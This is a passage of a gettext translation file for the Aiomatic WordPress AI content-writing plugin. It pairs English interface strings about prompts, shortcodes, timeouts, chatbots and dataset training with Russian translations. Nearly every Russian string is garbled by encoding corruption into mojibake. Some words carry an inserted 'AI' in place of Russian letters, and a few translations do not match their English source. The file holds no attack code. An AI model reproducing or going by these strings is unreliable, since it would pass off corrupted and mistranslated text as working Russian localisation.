ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ " "ПоÑÑ‚Ñ‹." #: res/aiomatic-amazon-list.php:3950 res/aiomatic-csv-list.php:1624 #: res/aiomatic-review-list.php:4103 res/aiomatic-rules-list.php:4351 #: res/aiomatic-youtube-list.php:3861 msgid "" "This feature will try to remove the WordPress\\'s default post category. " "This may fail in case no additional categories are added, because WordPress " "requires at least one post category for every post." msgstr "" "Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¿Ð¾Ð¿Ñ‹Ñ‚Ð°ÐµÑ‚ÑÑ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ Ñтандартную категорию ПоÑтов WordPress. Это " "может завершитьÑÑ Ð¾ÑˆÐ¸Ð±ÐºÐ¾Ð¹, еÑли дополнительные категорAI не добавлены, " "поÑкольку WordPress требует как минимум одну категорию ПоÑтов Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ " "ПоÑÑ‚Ñ‹." #: res/aiomatic-training.php:64 msgid "this guide" msgstr "Ñто руководÑтво" #: res/aiomatic-more.php:49 msgid "" "This is a nice feature, which will allow you to connect Aiomatic with the " "'Ultimate Membership Pro' plugin, allowing you to give your website's " "members to the functionality offered by the plugin. You can limit the usage " "of the plugin for members, based on their subscription plans, allowing you " "to create an AI membership site with ease." msgstr "" "Это Ñ…Ð¾Ñ€Ð¾ÑˆÐ°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ð¸Ñ‚ вам Ñоединить Aiomatic Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼ " "'Ultimate Membership Pro', что позволит вам предоÑтавить учаÑтникам вашего " "Ñайта функциональноÑÑ‚ÑŒ, предлагаемую плагином. Ð’Ñ‹ можете ограничить " "иÑпользование плагина Ð´Ð»Ñ ÑƒÑ‡Ð°Ñтников, оÑновываÑÑÑŒ на их планах подпиÑки, что " "позволит вам Ñ Ð»ÐµÐ³ÐºÐ¾Ñтью Ñоздать Ñайт членÑтва AI." #: res/aiomatic-training.php:69 msgid "" "this is a tool which is designed to colect information from your pages, " "posts or products and to create datasets from them. This can be useful if " "you want to train a new model to be more knowledgeable of your website's " "content. The tool will set the post/page/product title as the \"question\" " "and the content as the \"answer\". You can download the resulting files and " "upload them using the 'Dataset Uploader' tab." msgstr "" "Это инÑтрумент, предназначенный Ð´Ð»Ñ Ñбора информации Ñ Ð²Ð°ÑˆÐ¸Ñ… Ñтраниц, поÑтов " "или продуктов и ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð½Ð° их оÑнове наборов данных. Это может быть полезно," " еÑли вы хотите обучить новую модель, чтобы она лучше разбиралаÑÑŒ в контенте " "вашего Ñайта. ИнÑтрумент задает заголовок поÑта/Ñтраницы/продукта в качеÑтве " "\"вопроÑа\", а контент - в качеÑтве \"ответа\". Ð’Ñ‹ можете Ñкачать полученные " "файлы и загрузить их Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ вкладки 'Загрузчик набора данных'." #: res/aiomatic-main.php:1708 msgid "" "This is a trial version of the plugin. Automatic updates for this plugin are " "disabled. Please activate the plugin from below, so you can benefit of " "automatic updates for it!" msgstr "" "Это Ð¿Ñ€Ð¾Ð±Ð½Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð°. ÐвтоматичеÑкие Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñтого Плагина " "отключены. ПожалуйÑта, активируйте Плагин Ñнизу, чтобы вы могли получать Ð´Ð»Ñ " "него автоматичеÑкие обновлениÑ!" #: res/aiomatic-more.php:37 msgid "" "This is maybe the biggest 'hidden gem' of Aiomatic. It is able to combine " "its power with any other plugin I created, allowing AI generated content to " "be produced in posts created by any other of my plugins. Imagine having AI-" "generated content in all your plugins, from social media to scraper plugins " "or news posts. Well, with Aiomatic, that dream is now a reality." msgstr "" "Это, пожалуй, ÑÐ°Ð¼Ð°Ñ Ð±Ð¾Ð»ÑŒÑˆÐ°Ñ Â«ÑÐºÑ€Ñ‹Ñ‚Ð°Ñ Ð¶ÐµÐ¼Ñ‡ÑƒÐ¶Ð¸Ð½Ð°Â» Aiomatic. Он может Ñочетать " "Ñвою мощь Ñ Ð»ÑŽÐ±Ñ‹Ð¼ другим Ñозданным мной плагином, позволÑÑ Ñоздавать контент," " Ñгенерированный ИИ, в ПоÑтах, Ñозданных любым другим из моих плагинов. " "ПредÑтавьте, что контент, Ñозданный ИИ, приÑутÑтвует во вÑех ваших плагинах, " "от Ñоциальных Ñетей до плагинов парÑинга или новоÑтных поÑтов. Что ж, Ñ " "Aiomatic Ñта мечта Ñтала реальноÑтью." #: res/aiomatic-amazon-list.php:210 res/aiomatic-automation-list.php:2521 #: res/aiomatic-csv-list.php:72 res/aiomatic-main.php:9188 #: res/aiomatic-review-list.php:210 res/aiomatic-rules-list.php:210 #: res/aiomatic-youtube-list.php:210 msgid "This is the ID of the rule." msgstr "Это идентификатор правила." #: res/aiomatic-limits-statistics.php:1418 msgid "This is the ID of the rule. " msgstr "Это ID правила." #: res/aiomatic-logs.php:613 msgid "" "This is the main log of your plugin. Here will be listed every single " "instance of the rules you run or are automatically run by schedule jobs (if " "you enable logging, in the plugin configuration)." msgstr "" "Это оÑновной журнал вашего Плагина. ЗдеÑÑŒ будут перечиÑлены вÑе ÑкземплÑры " "правил, которые вы запуÑкаете или автоматичеÑки запуÑкаете по раÑпиÑанию " "(еÑли вы включили ведение журнала в конфигурацAI Плагина)." #: res/aiomatic-main.php:9208 msgid "This keyword will be replaced with a link you define." msgstr "Это ключевое Ñлово будет заменено указанной вами ÑÑылкой." #: res/aiomatic-main.php:9218 msgid "" "This keyword will replace the search keyword you define. Leave this field " "blank if you only want to add an URL to the specified keyword." msgstr "" "Это ключевое Ñлово заменит определенное вами ключевое Ñлово Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка. " "ОÑтавьте Ñто поле пуÑтым, еÑли вы хотите добавить только URL к указанному " "ключевому Ñлову." #: aiomatic-automatic-ai-content-writer.php:13798 #: aiomatic-automatic-ai-content-writer.php:13813 #: aiomatic-automatic-ai-content-writer.php:13828 #: aiomatic-automatic-ai-content-writer.php:14584 #: aiomatic-automatic-ai-content-writer.php:14599 #: aiomatic-automatic-ai-content-writer.php:14614 #: res/aiomatic-automation-list.php:1160 res/aiomatic-automation-list.php:1175 #: res/aiomatic-automation-list.php:1190 res/aiomatic-automation-list.php:1948 #: res/aiomatic-automation-list.php:1963 res/aiomatic-automation-list.php:1978 #: res/aiomatic-automation-list.php:3627 res/aiomatic-automation-list.php:3642 #: res/aiomatic-automation-list.php:3657 res/aiomatic-automation-list.php:4415 #: res/aiomatic-automation-list.php:4430 res/aiomatic-automation-list.php:4445 #: res/aiomatic-automation-list.php:6380 res/aiomatic-automation-list.php:6395 #: res/aiomatic-automation-list.php:6410 res/aiomatic-automation-list.php:7176 #: res/aiomatic-automation-list.php:7191 res/aiomatic-automation-list.php:7206 msgid "" "This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the " "plugin's 'Main Settings' menu." msgstr "" "Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð¾Ñ‚ÐºÐ»ÑŽÑ‡ÐµÐ½Ð°. Чтобы включить ее, добавьте ключ HeadlessBrowserAPI в " "меню \"ОÑновные наÑтройки\" плагина." #: aiomatic-ajax-actions.php:4904 msgid "" "This option requires the Aiomatic Extension - PDF File Storage And Parsing " "to be active." msgstr "" "Ð”Ð»Ñ Ñтой опции необходимо, чтобы раÑширение Aiomatic — Хранилище и Ðнализ " "PDF-файлов было активным." #: res/aiomatic-chatbot.php:2066 msgid "" "This option requires the Aiomatic Extension - PDF File Storage And Parsing " "to be active. Check it" msgstr "" "Ð”Ð»Ñ Ñтой опции необходимо, чтобы раÑширение Aiomatic — Хранилище и Ðнализ " "PDF-файлов было активным. Проверь Ñто" #: res/aiomatic-spinner-list.php:3952 msgid "" "This option will allow you to select if you want to run posting in async " "mode. This means that each time you publish a post, the plugin will try to " "execute it's task in the background - it will no longer block new post " "posting, while it finishes it's job." msgstr "" "Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ð¸Ñ‚ вам выбрать, еÑли вы хотите запуÑтить размещение в " "аÑинхронном режиме. Это означает, что каждый раз, когда вы публикуете поÑÑ‚, " "Плагин будет пытатьÑÑ Ð²Ñ‹Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÑŒ Ñто задание в фоновом режиме - он больше не " "будет блокировать новый поÑÑ‚ проводки, в то Ð²Ñ€ÐµÐ¼Ñ ÐºÐ°Ðº он заканчивает Ñвою " "работу." #: res/aiomatic-amazon-list.php:1408 res/aiomatic-amazon-list.php:3967 #: res/aiomatic-review-list.php:1477 res/aiomatic-review-list.php:4120 #: res/aiomatic-rules-list.php:1610 res/aiomatic-rules-list.php:4368 #: res/aiomatic-spinner-list.php:2224 res/aiomatic-youtube-list.php:1364 #: res/aiomatic-youtube-list.php:3878 msgid "" "This option will make the plugin not create categories which are not already " "existing on your site. For best results in this case, be sure to add to the " "prompt the list of categories from where the AI should select." msgstr "" "Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð·Ð°Ñтавит плагин не Ñоздавать категории, которых еще нет на вашем " "Ñайте. Ð”Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð½Ð°Ð¸Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов в Ñтом Ñлучае обÑзательно " "добавьте в промпт ÑпиÑок категорий, из которых должен выбирать AI." #: res/aiomatic-spinner-list.php:2399 msgid "" "This option will make the plugin not create tags which are not already " "existing on your site. For best results in this case, be sure to add to the " "prompt the list of tags from where the AI should select." msgstr "" "Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð·Ð°Ñтавит плагин не Ñоздавать теги, которых еще нет на вашем Ñайте. " "Ð”Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð½Ð°Ð¸Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов в Ñтом Ñлучае обÑзательно добавьте в " "промпт ÑпиÑок тегов, из которых ИИ должен выбирать." #: aiomatic-automatic-ai-content-writer.php:18101 #, php-format msgid "" "This plugin can not be activated because it requires a PHP version greater " "than %1$s. Please update your PHP version before you activate it." msgstr "" "Этот Плагин не может быть активирован, потому что Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ требуетÑÑ Ð²ÐµÑ€ÑÐ¸Ñ " "PHP больше %1$s. Обновите Ñвою верÑию PHP, прежде чем активировать ее." #: aiomatic-automatic-ai-content-writer.php:18107 #, php-format msgid "" "This plugin can not be activated because it requires a WordPress version " "greater than %1$s. Please go to Dashboard -> Updates to get the latest " "version of WordPress." msgstr "" "Этот Плагин не может быть активирован, потому что он требует верÑию " "WordPress больше, чем%1$s. ПожалуйÑта, перейдите в Dashboard -> Updates, " "чтобы получить поÑледнюю верÑию WordPress." #. Description of the plugin/theme msgid "This plugin will generate content for you, even in your sleep using AI" msgstr "" "Этот Плагин будет генерировать Контент Ð´Ð»Ñ Ð²Ð°Ñ Ð´Ð°Ð¶Ðµ во Ñне Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI." #: aiomatic-automatic-ai-content-writer.php:757 msgid "This process was already started!" msgstr "Этот процеÑÑ ÑƒÐ¶Ðµ запущен!" #: res/aiomatic-main.php:1558 msgid "this video" msgstr "Ñто видео" #: res/aiomatic-review-list.php:1267 res/aiomatic-review-list.php:3887 #: res/aiomatic-single-list.php:6772 #, php-format msgid "" "This will be appended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Этот шорткод будет добавлÑÑ‚ÑŒÑÑ Ðº каждому промпту, отправлÑемому плагином ИИ " "Создателю. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%topic%%, " "%%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, " "%%title%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Обновление: поддерживаютÑÑ Ñ‚Ð°ÐºÐ¶Ðµ " "вложенные шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:1198 res/aiomatic-amazon-list.php:3734 #: res/aiomatic-rules-list.php:1400 res/aiomatic-rules-list.php:4135 #: res/aiomatic-single-list.php:2104 res/aiomatic-single-list.php:2839 #: res/aiomatic-single-list.php:4092 res/aiomatic-single-list.php:5406 #: res/aiomatic-youtube-list.php:1154 res/aiomatic-youtube-list.php:3645 #, php-format msgid "" "This will be appended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Это будет добавлено к каждому промпту, отправлÑемому плагином AI Ñоздателю . " "Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках " "правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые " "иÑкуÑÑтвенным интеллектом промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента. " #: res/aiomatic-review-list.php:1252 res/aiomatic-review-list.php:3874 #: res/aiomatic-single-list.php:6757 #, php-format msgid "" "This will be prepended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Этот шорткод будет добавлÑÑ‚ÑŒÑÑ Ðº каждому промпту, отправлÑемому плагином AI " "Создателю. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%topic%%, " "%%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, " "%%title%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Обновление: поддерживаютÑÑ Ñ‚Ð°ÐºÐ¶Ðµ " "вложенные шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. " #: res/aiomatic-amazon-list.php:1183 res/aiomatic-amazon-list.php:3721 #: res/aiomatic-rules-list.php:1385 res/aiomatic-rules-list.php:4122 #: res/aiomatic-single-list.php:2089 res/aiomatic-single-list.php:2824 #: res/aiomatic-single-list.php:4077 res/aiomatic-single-list.php:5391 #: res/aiomatic-youtube-list.php:1139 res/aiomatic-youtube-list.php:3632 #, php-format msgid "" "This will be prepended to each prompt sent by the plugin to the AI writer. " "You can use the following shortcodes: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Это будет добавлено к каждому Промпту, отправлÑемому плагином AI Создателю . " "Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%topic%%, %%language%%, " "%%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам " "других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, " "определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках " "правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые " "иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента. " #: res/aiomatic-amazon-list.php:134 res/aiomatic-review-list.php:134 #: res/aiomatic-rules-list.php:134 res/aiomatic-single-list.php:134 #: res/aiomatic-single-list.php:272 res/aiomatic-youtube-list.php:134 msgid "Tigrinya" msgstr "ТигриньÑ" #: res/aiomatic-languages.php:135 msgid "Tigrinya (Google Translate)" msgstr "Ð¢Ð¸Ð³Ñ€Ð¸Ð½ÑŒÑ (Переводчик Google)" #: res/aiomatic-main.php:2836 msgid "tile-texture" msgstr "текÑтура плитки" #: res/aiomatic-limits-statistics.php:708 msgid "Time" msgstr "ВремÑ" #: res/aiomatic-limits-statistics.php:1444 msgid "Time Frame" msgstr "Тайифрейм" #: res/aiomatic-limits-statistics.php:849 #: res/aiomatic-limits-statistics.php:980 #: res/aiomatic-limits-statistics.php:1143 #: res/aiomatic-limits-statistics.php:1307 msgid "Time Frame:" msgstr "Временные рамки:" #: res/aiomatic-limits-statistics.php:487 msgid "Time: The time when the request was made." msgstr "ВремÑ: ВремÑ, когда был Ñделан запроÑ." #: res/aiomatic-main.php:7669 msgid "Timeout For API Requests (s):" msgstr "Тайм-аут Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñов API (Ñ):" #: res/aiomatic-main.php:4373 msgid "Timeout for Headless Browser Execution:" msgstr "Тайм-аут Ð´Ð»Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Headless Browser Execution:" #: res/aiomatic-main.php:7482 #| msgid "Timeout for Rule Running (seconds):" msgid "Timeout for Processing (seconds):" msgstr "Тайм-аут Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ (в Ñекундах):" #: res/aiomatic-training.php:150 msgid "TIP: Check more details on training prompt design recommendations," msgstr "" "СОВЕТ: ОзнакомьтеÑÑŒ Ñ Ð±Ð¾Ð»ÐµÐµ подробной информацией о рекомендациÑÑ… по " "проектированию промптов Ð´Ð»Ñ Ð¾Ð±ÑƒÑ‡ÐµÐ½Ð¸Ñ," #: res/aiomatic-training.php:207 msgid "" "TIP: You don't need to add prompt or completition suffixes in the data from " "above, as the plugin will handle this automatically, it will automatically " "add to your data the suffixes defined in the plugin's 'Main Settings' menu." msgstr "" "СОВЕТ: Вам не нужно добавлÑÑ‚ÑŒ Промпты или СуффикÑÑ‹ Ð—Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð² Данные выше," " так как Плагин Ñделает Ñто автоматичеÑки, он автоматичеÑки добавит к вашим " "Данным СуффикÑÑ‹, определенные в меню «ОÑновные ÐаÑтройки» Плагина." #: res/aiomatic-main.php:1741 msgid "Tips and tricks:" msgstr "Советы и приемы:" #: res/aiomatic-amazon-list.php:1309 res/aiomatic-amazon-list.php:1436 #: res/aiomatic-amazon-list.php:3853 res/aiomatic-amazon-list.php:4006 #: res/aiomatic-embeddings.php:652 res/aiomatic-main.php:9278 #: res/aiomatic-main.php:9509 res/aiomatic-review-list.php:1378 #: res/aiomatic-review-list.php:1505 res/aiomatic-review-list.php:4006 #: res/aiomatic-review-list.php:4159 res/aiomatic-rules-list.php:1511 #: res/aiomatic-rules-list.php:1638 res/aiomatic-rules-list.php:4254 #: res/aiomatic-rules-list.php:4407 res/aiomatic-shortcodes.php:511 #: res/aiomatic-single-list.php:864 res/aiomatic-spinner-list.php:4748 #: res/aiomatic-youtube-list.php:1265 res/aiomatic-youtube-list.php:1392 #: res/aiomatic-youtube-list.php:3764 res/aiomatic-youtube-list.php:3917 #: res/image-seo/seo-panel.php:82 msgid "Title" msgstr "Заголовок" #: res/aiomatic-amazon-list.php:1311 res/aiomatic-amazon-list.php:1438 #: res/aiomatic-amazon-list.php:3863 res/aiomatic-amazon-list.php:4016 #: res/aiomatic-review-list.php:1380 res/aiomatic-review-list.php:1507 #: res/aiomatic-review-list.php:4016 res/aiomatic-review-list.php:4169 #: res/aiomatic-rules-list.php:1513 res/aiomatic-rules-list.php:1640 #: res/aiomatic-rules-list.php:4264 res/aiomatic-rules-list.php:4417 #: res/aiomatic-youtube-list.php:1267 res/aiomatic-youtube-list.php:1394 #: res/aiomatic-youtube-list.php:3774 res/aiomatic-youtube-list.php:3927 msgid "Title and Content" msgstr "ПоиÑк по названию и Ñодержанию" #: res/aiomatic-single-list.php:2520 msgid "Title Based" msgstr "Ðа оÑнове Заголовка" #: res/aiomatic-single-list.php:962 msgid "Title Based Post (Single API Calls)" msgstr "ПоÑÑ‚ на оÑнове заголовка (одиночные вызовы API)" #: res/aiomatic-rules-list.php:1129 res/aiomatic-rules-list.php:3891 #: res/aiomatic-single-list.php:2568 msgid "Title Based Posting Options" msgstr "Параметры публикации на оÑнове Заголовоков" #: res/aiomatic-rules-list.php:337 res/aiomatic-rules-list.php:3170 msgid "Title Based/Single API Call" msgstr "Ðа оÑнове Заголовка/ЕдинÑтвенно вызов API" #: res/aiomatic-rules-list.php:3242 msgid "Title Generator Method" msgstr "Метод генератора заголовков" #: res/aiomatic-rules-list.php:423 res/aiomatic-single-list.php:1376 msgid "Title Generator Method:" msgstr "Метод генератора заголовков:" #: res/admin/ai-post-gutenberg.php:47 res/admin/ai-post.php:47 msgid "Title Idea / Keywords" msgstr "Ð˜Ð´ÐµÑ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ°/Ключевые Ñлова" #: res/admin/ai-post-gutenberg.php:156 res/admin/ai-post.php:149 #: res/aiomatic-amazon-list.php:3381 res/aiomatic-review-list.php:3451 #: res/aiomatic-rules-list.php:3538 res/aiomatic-youtube-list.php:3275 msgid "Title Prompt" msgstr "Промпт заголовка" #: res/aiomatic-amazon-list.php:860 res/aiomatic-review-list.php:854 #: res/aiomatic-rules-list.php:799 res/aiomatic-single-list.php:1752 #: res/aiomatic-single-list.php:3740 res/aiomatic-single-list.php:5068 #: res/aiomatic-single-list.php:6359 res/aiomatic-youtube-list.php:802 msgid "Title Prompt:" msgstr "Промпт Заголовка ПоÑта:" #: res/image-seo/seo-panel.php:35 msgid "Title Text" msgstr "ТекÑÑ‚ Заголовка" #: aiomatic-ajax-actions.php:8026 res/aiomatic-shortcodes.php:211 msgid "Title*" msgstr "Заголовок(title)*" #: res/aiomatic-more.php:43 msgid "" "To access more details about each feature, simply navigate to the respective " "tabs at the top of this menu page. Within each tab, you'll find tutorial " "videos that walk you through the setup, configuration, and utilization of " "each feature. These videos provide step-by-step guidance, ensuring you make " "the most out of Aiomatic's hidden features." msgstr "" "Чтобы получить более подробную информацию о каждой функции, проÑто перейдите " "на ÑоответÑтвующие вкладки в верхней чаÑти Ñтой Ñтраницы меню. Ðа каждой " "вкладке вы найдете обучающие видеоролики, которые помогут вам уÑтановить, " "наÑтроить и иÑпользовать каждую функцию. Эти видеоролики Ñодержат пошаговые " "инÑтрукции, которые помогут вам макÑимально Ñффективно иÑпользовать Ñкрытые " "функции Aiomatic." #: res/aiomatic-training.php:64 msgid "" "to achieve this. The uploaded file must contain prompt and completion pairs. " "The \"prompt\" part is the question and the \"completion\" part is the " "answer. You can find an example file" msgstr "" "Ð´Ð»Ñ Ð´Ð¾ÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ñтой цели. Загруженный файл должен Ñодержать пары Промптов и " "ЗавершениÑ. «Промпт» — Ñто вопроÑ, а Â«Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°Ñть» — ответ. Ð’Ñ‹ " "можете найти пример файла" #: res/aiomatic-shortcodes.php:137 msgid "" "to add a Chatbot persona selector screen on the front end, visitors can " "click on the chatbot persona with which they want to chat. Other [aiomatic-" "chat-form] parameters will be also able to be used here." msgstr "" "чтобы добавить Ñкран выбора перÑоны чатбота на фронт-Ñнде, поÑетители могут " "нажать на перÑону чатбота, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð¹ они хотÑÑ‚ пообщатьÑÑ. ЗдеÑÑŒ также можно " "будет иÑпользовать другие параметры [aiomatic-chat-form]." #: res/aiomatic-shortcodes.php:133 msgid "" "to add a form similar to OpenAI's Playground, to generate AI written text " "based on prompts." msgstr "" "чтобы добавить Форму, похожую на OpenAI's Playground Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "ПиÑьменного ТекÑта AI на оÑнове Промптов." #: res/aiomatic-shortcodes.php:132 msgid "" "to add a form similar to OpenAI's Text Completion Playground, to generate AI " "written text based on prompts." msgstr "" "чтобы добавить форму, похожую на OpenAI's Text Completion Playground, Ð´Ð»Ñ " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¿Ð¸Ñьменного текÑта AI на оÑнове Промптов." #: res/aiomatic-shortcodes.php:136 msgid "" "to add a form to generate a chat similar to ChatGPT. However, please note " "that this is not ChatGPT, but instead it is a custom chatbot built on top of " "OpenAI API." msgstr "" "чтобы добавить форму Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‡Ð°Ñ‚Ð°, похожего на ChatGPT. Однако обратите " "внимание, что Ñто не ChatGPT, а пользовательÑкий чат-бот, Ñозданный поверх " "OpenAI API." #: res/aiomatic-shortcodes.php:134 msgid "to add a form to generate AI images (GPT-3) based on prompts." msgstr "" "добавить форму Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ AI-изображений (GPT-3) на оÑнове Промптов." #: res/aiomatic-shortcodes.php:135 msgid "" "to add a form to generate AI images (Stable Diffusion) based on prompts." msgstr "" "чтобы добавить форму Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ AI (Stable Diffusion) на " "оÑнове Промптов." #: res/aiomatic-assistants.php:58 msgid "" "To add an Assistants to your WordPress site, you'll follow steps like these:" msgstr "" "Чтобы добавить аÑÑиÑтента на Ñвой Ñайт WordPress, выполните Ñледующие " "дейÑтвиÑ:" #: res/aiomatic-chatbot.php:5697 msgid "" "To add the chat bot to your website, please include the shortcode [aiomatic-" "chat-form] in the desired location on your site." msgstr "" "Чтобы добавить чат-бота на Ñвой веб-Ñайт, укажите короткий код [aiomatic-" "chat-form] в нужном меÑте на вашем Ñайте." #: res/aiomatic-shortcodes.php:140 msgid "" "to automatically create an AI generated image (GPT-3) based on the " "'seed_expre' argument of the post content/excerpt/title where the shortcode " "is placed," msgstr "" "Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñгенерированного AI Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ 